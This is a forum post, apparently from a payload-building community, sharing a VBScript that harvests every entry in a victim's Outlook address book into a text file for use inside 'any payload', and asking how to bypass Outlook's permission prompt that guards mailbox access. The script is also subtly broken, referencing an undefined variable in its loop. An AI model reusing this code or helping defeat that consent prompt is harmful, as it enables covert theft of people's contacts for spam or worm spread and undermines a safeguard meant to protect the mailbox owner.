Jump to content

Scratching on Outlook mailing list?


DMilton

Recommended Posts

It's not a new or brilliant idea, but I've been working a bit in extracting the contacts list from outlook address book.

This implementation made simply to any payload, would be able to extract the contact list to a plain text file.

Set fso = CreateObject("Scripting.FileSystemObject") 
set outlook=WScript.CreateObject("Outlook.Application") 
if Not err=0 then 
msgbox "Outlook is not available."
else
set mapi=outlook.GetNameSpace("MAPI") 
set MSOfile=fso.CreateTextFile("outlook-contacts.txt")
for ctrentries=1 to mapi.AddressLists.Count
    set a=mapi.AddressLists(ctrentries) 
    x=1
    for countEntries=1 to n.AddressEntries.Count 
        contact=n.AddressEntries(x)
        MSOfile.WriteLine contact
        x=x+1 
    next 
next
end if

Of course, the err check is only for testing purposes. ;)

The problem is the message box of (almost for Outlook 2003) asking for permission for reading the contents of the pst file.

Any ideas on how to bypass the message box, some fix to the code or idea?

Link to comment
Share on other sites

  • 2 weeks later...

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...